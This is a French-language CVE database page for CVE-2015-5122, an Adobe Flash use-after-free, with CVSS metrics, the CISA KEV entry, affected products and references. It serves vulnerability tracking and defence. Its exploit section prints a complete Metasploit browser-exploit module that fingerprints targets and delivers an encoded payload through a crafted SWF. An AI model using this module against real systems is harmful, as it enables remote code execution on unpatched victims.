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CVE-2015-5122 : Détail

CVE-2015-5122

9.8
/
CRITICAL
Memory Corruption
97.35%V3
Network
2015-07-14 08:00 +00:00
2018-11-23 03:57 +00:00
CVE.org
NVD

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Descriptions

Use-after-free vulnerability in the DisplayObject class in the ActionScript 3 (AS3) implementation in Adobe Flash Player 13.x through 13.0.0.302 on Windows and OS X, 14.x through 18.0.0.203 on Windows and OS X, 11.x through 11.2.202.481 on Linux, and 12.x through 18.0.0.204 on Linux Chrome installations allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via crafted Flash content that leverages improper handling of the opaqueBackground property, as exploited in the wild in July 2015.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Adobe Flash Player Use-After-Free Vulnerability

Action requise : The impacted product is end-of-life and should be disconnected if still in use.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2022-04-12 22:00 +00:00

Action attendue : 2022-05-03 22:00 +00:00

Informations importantes

Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 37599

Date de publication : 2015-07-12 22:00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash opaqueBackground Use After Free', 'Description' => %q{ This module exploits an use after free on Adobe Flash Player. The vulnerability, discovered by Hacking Team and made public on its July 2015 data leak, was described as an Use After Free while handling the opaqueBackground property 7 setter of the flash.display.DisplayObject class. This module is an early release tested on: Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.203, Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194, Windows 7 SP1 (32-bit), IE9 and Adobe Flash Flash 18.0.0.203, Windows 7 SP1 (32-bit), Firefox + Adobe Flash 18.0.0.194, windows 8.1, Firefox and Adobe Flash 18.0.0.203, Windows 8.1, Firefox and Adobe Flash 18.0.0.160, and Windows 8.1, Firefox and Adobe Flash 18.0.0.194 }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovered on HackingTeam info leak 'juan vazquez', # Ported to Msf 'sinn3r' # Testing and some editing ], 'References' => [ ['CVE', '2015-5122'], ['URL', 'https://www.fireeye.com/blog/threat-research/2015/07/cve-2015-5122_-_seco.html'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => ['win'], 'Arch' => [ARCH_X86], 'BrowserRequirements' => { :source => /script|headers/i, :arch => ARCH_X86, :os_name => lambda do |os| os =~ OperatingSystems::Match::WINDOWS_7 || os =~ OperatingSystems::Match::WINDOWS_81 end, :ua_name => lambda do |ua| case target.name when 'Windows' return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF end false end, :flash => lambda do |ver| case target.name when 'Windows' return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.203') end false end }, 'Targets' => [ [ 'Windows', { 'Platform' => 'win' } ] ], 'Privileged' => false, 'DisclosureDate' => 'Jul 06 2015', 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if target_info[:os_name] =~ OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0' print_warning("Target setup not supported") send_not_found(cli) return end if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) b64_payload = Rex::Text.encode_base64(target_payload) os_name = target_info[:os_name] if target.name =~ /Windows/ platform_id = 'win' end html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-5122', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end

Products Mentioned

Configuraton 0

Adobe>>Flash_player >> Version From (including) 13.0 To (including) 13.0.0.302

Adobe>>Flash_player >> Version From (including) 18.0 To (including) 18.0.0.203

Adobe>>Flash_player_desktop_runtime >> Version From (including) 18.0 To (including) 18.0.0.203

Apple>>Macos >> Version -

Microsoft>>Windows >> Version -

Configuraton 0

Adobe>>Flash_player >> Version From (including) 18.0 To (including) 18.0.0.204

Linux>>Linux_kernel >> Version -

Configuraton 0

Adobe>>Flash_player >> Version From (including) 18.0 To (including) 18.0.0.203

Adobe>>Flash_player >> Version From (including) 18.0 To (including) 18.0.0.203

Microsoft>>Windows_8 >> Version -

Microsoft>>Windows_8.1 >> Version -

Configuraton 0

Adobe>>Flash_player >> Version From (including) 11.0 To (including) 11.2.202.481

Linux>>Linux_kernel >> Version -

Configuraton 0

Redhat>>Enterprise_linux_desktop >> Version 5.0

Redhat>>Enterprise_linux_desktop >> Version 6.0

Redhat>>Enterprise_linux_server >> Version 5.0

Redhat>>Enterprise_linux_server >> Version 6.0

Redhat>>Enterprise_linux_server_eus >> Version 6.6

Redhat>>Enterprise_linux_workstation >> Version 5.0

Redhat>>Enterprise_linux_workstation >> Version 6.0

Configuraton 0

Opensuse>>Evergreen >> Version 11.4

Suse>>Linux_enterprise_desktop >> Version 11

Suse>>Linux_enterprise_desktop >> Version 11

Suse>>Linux_enterprise_desktop >> Version 12

Suse>>Linux_enterprise_workstation_extension >> Version 12

References

http://www.securitytracker.com/id/1032890
Tags : vdb-entry, x_refsource_SECTRACK
http://marc.info/?l=bugtraq&m=144050155601375&w=2
Tags : vendor-advisory, x_refsource_HP
http://www.us-cert.gov/ncas/alerts/TA15-195A
Tags : third-party-advisory, x_refsource_CERT
https://security.gentoo.org/glsa/201508-01
Tags : vendor-advisory, x_refsource_GENTOO
http://rhn.redhat.com/errata/RHSA-2015-1235.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.kb.cert.org/vuls/id/338736
Tags : third-party-advisory, x_refsource_CERT-VN
https://www.exploit-db.com/exploits/37599/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/75712
Tags : vdb-entry, x_refsource_BID

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